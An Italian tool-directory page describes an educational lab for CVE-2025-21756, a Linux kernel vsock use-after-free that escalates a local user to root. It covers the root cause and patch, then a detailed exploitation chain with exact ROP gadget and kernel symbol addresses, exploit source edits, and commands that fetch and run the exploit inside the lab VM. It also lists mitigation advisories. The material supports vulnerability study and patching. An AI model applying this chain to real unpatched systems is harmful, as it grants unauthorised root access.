Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-21756 — Laboratorio didattico che dimostra un exploit use-after-free (UAF) nel sottosistema vsock del kernel Linux per l'escalation dei privilegi locale a root, con configurazione automatizzata e analisi della catena ROP. | Kitploit
Strumenti/GitHubGitHub/h3raklez/cve-2025-21756
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitCTFApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

Laboratorio didattico che dimostra un exploit use-after-free (UAF) nel sottosistema vsock del kernel Linux per l'escalation dei privilegi locale a root, con configurazione automatizzata e analisi della catena ROP.

Vedi Repository
15 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-21756 — Laboratorio di Exploitation

Solo per scopi educativi e di ricerca sulla sicurezza autorizzati.

Descrizione

CVE-2025-21756 è una vulnerabilità use-after-free (UAF) nel sottosistema vsock (Virtual Socket) del kernel Linux, divulgata il 26 febbraio 2025. Consente a un utente malintenzionato locale di elevare i privilegi a root sui sistemi Linux interessati.

  • CVSS v3.1: 7.8 (ALTA)
  • Vettore: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • Componente interessato: net/vmw_vsock/af_vsock.c
  • Kernel interessato: Linux 6.6.75 (e versioni precedenti non corrette)

Causa principale

Il bug si verifica durante la riassegnazione del trasporto di un socket vsock. La sequenza vulnerabile è:

  1. vsock_create() crea il socket con refcnt=2 e lo inserisce nella lista non associata
  2. transport->release() chiama vsock_remove_bound() senza verificare se il socket è stato spostato nella lista associata, decrementando erroneamente refcnt
  3. vsock_bind() presuppone che il socket sia ancora nella lista non associata e chiama nuovamente _vsock_remove_bound()
  4. refcnt raggiunge 0 prematuramente → l'oggetto vsock viene liberato mentre è ancora referenziato → UAF

Patch applicata

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Catena di sfruttamento

  1. Attivare UAF — Due chiamate consecutive connect() con CID che producono trasporti diversi causano la liberazione prematura dell'oggetto vsock mentre è ancora collegato in vsock_bind_table
  2. Liberare slab — Le liste parziali SLUB vengono svuotate per restituire la pagina vittima all'allocatore di pagine
  3. Spruzzare pagine — La pagina liberata viene reclamata utilizzando unix_dgram_sendmsg con messaggi di ordine 2 (MIGRATE_UNMOVABLE), riempiendola con dati controllati
  4. Canale laterale — vsock_diag_dump (non protetto da AppArmor) viene utilizzato come canale laterale per rilevare quando la pagina è stata reclamata e individuare l'offset esatto dell'oggetto vittima all'interno della pagina
  5. Dirottamento RIP — sk->sk_prot viene sovrascritto per puntare a udp_prot+0x1c0 (udp_abort), che quando chiamato invoca sk->sk_error_report(sk), il cui puntatore viene sovrascritto con un gadget di stack pivot
  6. Catena ROP — Viene eseguito commit_creds(init_cred) per assegnare le credenziali di root al processo, seguito dal trampolino KPTI per tornare allo spazio utente

Requisiti

  • Debian 12 o 13 x86_64 (testato su Debian 13)
  • Utente normale con accesso sudo
  • RAM minima: 1 GB
  • Spazio libero su disco: 10 GB

Configurazione del laboratorio

root@kitploit:~
# Scarica lo script di configurazione
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Esegui come utente normale (non root)
./setup-lab.sh

Lo script gestisce automaticamente:

  • Installazione di sudo se non disponibile
  • Installazione di tutte le dipendenze necessarie (build-essential, qemu-system-x86, bc, pahole, ecc.)
  • Download dell'ambiente kCTF ufficiale di Google (kernel lts-6.6.75, rootfs, ramdisk)
  • Download dell'exploit ktranowl e applicazione delle patch necessarie
  • Compilazione dell'exploit
  • Creazione dell'ambiente di esecuzione con i parametri corretti
  • Creazione di run_lab.sh come unico punto di ingresso

Esecuzione del laboratorio

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

Una volta avviato l'ambiente, esegui al suo interno:

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Output previsto

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

Per uscire: Ctrl-A X


Modifiche applicate all'exploit originale

L'exploit di base proviene da ktranowl. Sono state applicate le seguenti modifiche per farlo funzionare in questo ambiente:

1. KASLR disabilitato

Modifica: nokaslr aggiunto ai parametri di avvio del kernel.

Motivo: L'exploit originale bypassa KASLR utilizzando EntryBleed, una tecnica di canale laterale basata sui tempi TLB che richiede una temporizzazione precisa della CPU. In un ambiente di virtualizzazione annidata, la precisione di rdtsc è insufficiente affinché EntryBleed funzioni in modo affidabile, producendo un kbase errato che causa lo sbaglio di tutti gli indirizzi calcolati con ADDRESS(). Disabilitare KASLR garantisce che il kernel venga sempre caricato a 0xffffffff81000000 e che gli offset hardcoded nell'exploit siano sempre corretti.

2. user_rip modificato da modeprobe_exec a check_root

Modifica in exploit.c:

root@kitploit:~
// Prima
uint64_t user_rip = (uint64_t)modeprobe_exec;

// Dopo
uint64_t user_rip = (uint64_t)check_root;

Motivo: modeprobe_exec è la tecnica di escalation dei privilegi utilizzata nell'exploit originale per l'ambiente kCTF remoto. Richiede argomenti da riga di comando (IP e porta di un server remoto) e connettività di rete esterna. Senza tali argomenti, il processo crasha con un GPF quando tenta di leggere argv[1]. check_root verifica direttamente l'uid ed esegue /bin/sh, il che è sufficiente per dimostrare lo sfruttamento in un ambiente locale.

3. Rimossa chiamata a modeprobe_exec all'interno di check_root

Modifica in exploit.c:

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // rimossa
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Motivo: Anche con user_rip che punta a check_root, questa funzione chiamava internamente modeprobe_exec prima di eseguire /bin/sh. Senza gli argomenti necessari, tale chiamata causava un GPF e il processo terminava senza aprire una shell, nonostante commit_creds avesse già innalzato con successo i privilegi.


Analisi della catena ROP e dei simboli

Durante il processo di configurazione del laboratorio, tutti i simboli del kernel e i gadget ROP sono stati verificati rispetto al kernel ufficiale kCTF lts-6.6.75 per confermare che fossero validi per questo ambiente.

Gadget ROP

I tre gadget utilizzati nell'exploit sono stati estratti dal kernel ufficiale utilizzando ROPgadget sul binario vmlinux e confermati corrispondere esattamente ai valori hardcoded:

Nessuno di questi ha richiesto modifiche.

Simboli del kernel

I seguenti simboli sono stati verificati rispetto a /proc/kallsyms all'interno del kernel (con nokaslr, gli offset sono fissi):

Tutti i valori corrispondevano agli originali nell'exploit. Non sono state necessarie modifiche.

Nota su address_contain_udp_abort

Questo valore non punta direttamente alla funzione udp_abort. Punta a udp_prot + 0x1c0, che è il campo diag_destroy all'interno di struct proto. Questo è intenzionale: vsock_release chiama sk->sk_prot->close(sk, 0), dove close si trova all'offset 0 di struct proto. Puntando sk_prot a udp_prot->diag_destroy invece che all'inizio di udp_prot, il kernel legge diag_destroy come se fosse il puntatore close, che contiene . Questo si collega a → , dove viene posizionato il gadget di stack pivot.

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot punta a udp_prot+0x1c0
    └── udp_abort(sk)              ← campo diag_destroy, letto come close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← gadget stack pivot
                └── Catena ROP
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → shell root


Mitigazione

La patch ufficiale è disponibile dal kernel 6.14-rc1 ed è stata backportata a tutti i rami LTS mantenuti. Le distribuzioni interessate hanno emesso i propri avvisi:

  • Ubuntu: USN-7361-1 e successivi
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 e successivi

Riferimenti


Dichiarazione di non responsabilità

Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione scritta è illegale. L'autore non è responsabile per eventuali usi impropri.

Scarica lo strumento
  • Shell root — execve("/bin/sh") con uid=0
  • GadgetIndirizzoScopo
    pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Stack pivot — sposta RSP all'inizio dell'oggetto vsock controllato
    add rsp, 0xb8 ; jmp ...0xffffffff8170292cAvanzamento dello stack — salta i campi riservati per raggiungere la catena ROP
    pop rdi ; ret0xffffffff8115e4f9Carica il primo argomento per commit_creds(init_cred)
    SimboloIndirizzoNote
    vsock_bind_table[0x7a]0xffffffff84bc6280Ancoraggio del canale laterale — lo slot della lista vsock in cui cade l'oggetto vittima
    init_net0xffffffff84bb1f80Utilizzato per validare il falso oggetto vsock tramite vsock_diag_dump
    commit_creds0xffffffff811fdac0Assegna le credenziali di root al processo corrente
    init_cred0xffffffff83c74d80Struttura delle credenziali con uid=gid=0, a un offset fisso dalla base del kernel
    kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — ripristina CR3 e torna allo spazio utente
    address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — vedi nota sotto
    udp_abort
    sk_error_report(sk)
    sk->sk_error_report(sk)
    AspettoOriginale (ktranowl)Questo laboratorio
    Bypass KASLREntryBleed (temporizzazione TLB)Disabilitato (nokaslr)
    Tecnica di escalationmodeprobe_exec tramite core_patternexecve("/bin/sh") direttamente
    Ambiente targetkCTF remotoLocale
    Connettività esterna necessariaSìNo
    RisorsaURL
    Writeup originale (Hoefler)https://hoefler.dev/articles/vsock.html
    Exploit di Hoeflerhttps://github.com/hoefler02/CVE-2025-21756
    Analisi n-day (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
    Exploit di ktranowlhttps://github.com/khoatran107/cve-2025-21756
    Patch ufficialehttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
    NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
    Regole kCTFhttps://google.github.io/security-research/kernelctf/rules.html